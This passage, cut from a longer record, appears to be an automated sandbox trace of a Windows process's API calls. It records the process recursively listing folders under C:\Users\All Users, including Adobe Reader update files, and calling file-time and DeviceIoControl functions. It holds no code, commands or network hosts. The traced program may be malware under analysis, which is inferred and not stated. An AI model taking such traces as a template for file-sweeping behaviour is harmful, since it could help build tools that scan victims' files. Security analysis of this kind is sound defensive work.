(HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb278) returned 1 [0091.194] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0091.195] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb1f0) returned 1 [0091.195] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.195] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Replicate", cAlternateFileName="")) returned 0 [0091.195] GetLastError () returned 0x12 [0091.195] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faf48) returned 1 [0091.195] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0091.196] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.196] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.196] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 0 [0091.196] GetLastError () returned 0x12 [0091.196] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faec0) returned 1 [0091.196] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0091.196] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.197] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.197] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARM", cAlternateFileName="")) returned 1 [0091.197] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.197] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM" (normalized: "c:\\users\\all users\\adobe\\arm"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.197] CreateFileW (lpFileName="C:\\Users\\All Users\\Adobe\\ARM" (normalized: "c:\\users\\all users\\adobe\\arm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0091.197] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0091.198] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.198] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0091.198] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.198] NtClose (Handle=0x15c) returned 0x0 [0091.198] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.198] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.199] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.199] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faec0 [0091.199] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f40 [0091.199] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.199] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf2028d90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xf2028d90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.0", cAlternateFileName="")) returned 1 [0091.199] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf2028d90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xf2028d90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.0", cAlternateFileName="")) returned 0 [0091.199] GetLastError () returned 0x12 [0091.199] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9000 [0091.200] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0091.200] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.200] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf2028d90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xf2028d90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.0", cAlternateFileName="")) returned 1 [0091.200] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.200] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0" (normalized: "c:\\users\\all users\\adobe\\arm\\reader_10.0.0"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf2028d90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xf2028d90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.200] CreateFileW (lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0" (normalized: "c:\\users\\all users\\adobe\\arm\\reader_10.0.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0091.200] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0091.200] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.201] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0091.201] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.201] NtClose (Handle=0x15c) returned 0x0 [0091.201] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.201] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.202] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.202] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faf48 [0091.202] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f40 [0091.204] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf2028d90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xf2028d90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.204] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e186d00, ftCreationTime.dwHighDateTime=0x1cfb543, ftLastAccessTime.dwLowDateTime=0x7e186d00, ftLastAccessTime.dwHighDateTime=0x1cfb543, ftLastWriteTime.dwLowDateTime=0x7e186d00, ftLastWriteTime.dwHighDateTime=0x1cfb543, nFileSizeHigh=0x0, nFileSizeLow=0x3d800, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdbeRdrSecUpd10111.msp", cAlternateFileName="")) returned 1 [0091.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.204] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.205] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1340e10 [0091.205] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f66b8 [0091.206] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1352798 [0091.206] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x9940) returned 0x132a698 [0091.206] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4450880, ftCreationTime.dwHighDateTime=0x1cf6c45, ftLastAccessTime.dwLowDateTime=0xb4450880, ftLastAccessTime.dwHighDateTime=0x1cf6c45, ftLastWriteTime.dwLowDateTime=0xb4450880, ftLastWriteTime.dwHighDateTime=0x1cf6c45, nFileSizeHigh=0x0, nFileSizeLow=0x10e3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdbeRdrUpd10110_MUI.msp", cAlternateFileName="")) returned 1 [0091.206] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.207] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.207] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.207] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.207] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.207] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f66d8 [0091.208] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1352cc0 [0091.208] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.208] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2540cc00, ftCreationTime.dwHighDateTime=0x1d1056e, ftLastAccessTime.dwLowDateTime=0x2540cc00, ftLastAccessTime.dwHighDateTime=0x1d1056e, ftLastWriteTime.dwLowDateTime=0x2540cc00, ftLastWriteTime.dwHighDateTime=0x1d1056e, nFileSizeHigh=0x0, nFileSizeLow=0x109d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdbeRdrUpd10116_MUI.msp", cAlternateFileName="")) returned 1 [0091.208] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.209] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.209] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.209] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.209] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.209] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f66f8 [0091.209] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1352ed0 [0091.210] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.210] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2540cc00, ftCreationTime.dwHighDateTime=0x1d1056e, ftLastAccessTime.dwLowDateTime=0x2540cc00, ftLastAccessTime.dwHighDateTime=0x1d1056e, ftLastWriteTime.dwLowDateTime=0x2540cc00, ftLastWriteTime.dwHighDateTime=0x1d1056e, nFileSizeHigh=0x0, nFileSizeLow=0x109d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdbeRdrUpd10116_MUI.msp", cAlternateFileName="")) returned 0 [0091.210] GetLastError () returned 0x12 [0091.210] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0091.210] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0091.210] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf2028d90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xf2028d90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.210] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e186d00, ftCreationTime.dwHighDateTime=0x1cfb543, ftLastAccessTime.dwLowDateTime=0x7e186d00, ftLastAccessTime.dwHighDateTime=0x1cfb543, ftLastWriteTime.dwLowDateTime=0x7e186d00, ftLastWriteTime.dwHighDateTime=0x1cfb543, nFileSizeHigh=0x0, nFileSizeLow=0x3d800, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdbeRdrSecUpd10111.msp", cAlternateFileName="")) returned 1 [0091.210] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4450880, ftCreationTime.dwHighDateTime=0x1cf6c45, ftLastAccessTime.dwLowDateTime=0xb4450880, ftLastAccessTime.dwHighDateTime=0x1cf6c45, ftLastWriteTime.dwLowDateTime=0xb4450880, ftLastWriteTime.dwHighDateTime=0x1cf6c45, nFileSizeHigh=0x0, nFileSizeLow=0x10e3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdbeRdrUpd10110_MUI.msp", cAlternateFileName="")) returned 1 [0091.210] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2540cc00, ftCreationTime.dwHighDateTime=0x1d1056e, ftLastAccessTime.dwLowDateTime=0x2540cc00, ftLastAccessTime.dwHighDateTime=0x1d1056e, ftLastWriteTime.dwLowDateTime=0x2540cc00, ftLastWriteTime.dwHighDateTime=0x1d1056e, nFileSizeHigh=0x0, nFileSizeLow=0x109d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdbeRdrUpd10116_MUI.msp", cAlternateFileName="")) returned 1 [0091.210] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2540cc00, ftCreationTime.dwHighDateTime=0x1d1056e, ftLastAccessTime.dwLowDateTime=0x2540cc00, ftLastAccessTime.dwHighDateTime=0x1d1056e, ftLastWriteTime.dwLowDateTime=0x2540cc00, ftLastWriteTime.dwHighDateTime=0x1d1056e, nFileSizeHigh=0x0, nFileSizeLow=0x109d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdbeRdrUpd10116_MUI.msp", cAlternateFileName="")) returned 0 [0091.210] GetLastError () returned 0x12 [0091.211] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faf48) returned 1 [0091.211] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0091.212] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1340e10) returned 1 [0091.212] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.212] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf2028d90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xf2028d90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.0", cAlternateFileName="")) returned 0 [0091.212] GetLastError () returned 0x12 [0091.212] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faec0) returned 1 [0091.212] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0091.212] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.213] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.213] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARM", cAlternateFileName="")) returned 0 [0091.213] GetLastError () returned 0x12 [0091.213] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0091.213] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0091.213] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa6c8) returned 1 [0091.214] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0091.214] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="")) returned 1 [0091.214] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0091.214] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Application Data" (normalized: "c:\\users\\all users\\application data"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.214] CreateFileW (lpFileName="C:\\Users\\All Users\\Application Data" (normalized: "c:\\users\\all users\\application data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0091.214] GetLastError () returned 0x5 [0091.214] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0091.215] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0091.215] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa6c8 [0091.215] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0091.215] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Application Data\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0xffffffff [0091.215] GetLastError () returned 0x5 [0091.215] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Application Data\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0xffffffff [0091.215] GetLastError () returned 0x5 [0091.216] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0091.216] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa6c8) returned 1 [0091.216] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0091.216] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0091.216] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0091.216] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Desktop" (normalized: "c:\\users\\all users\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.217] CreateFileW (lpFileName="C:\\Users\\All Users\\Desktop" (normalized: "c:\\users\\all users\\desktop"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0091.217] GetLastError () returned 0x5 [0091.217] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0091.217] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0091.217] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa6c8 [0091.217] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0091.218] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Desktop\\*", 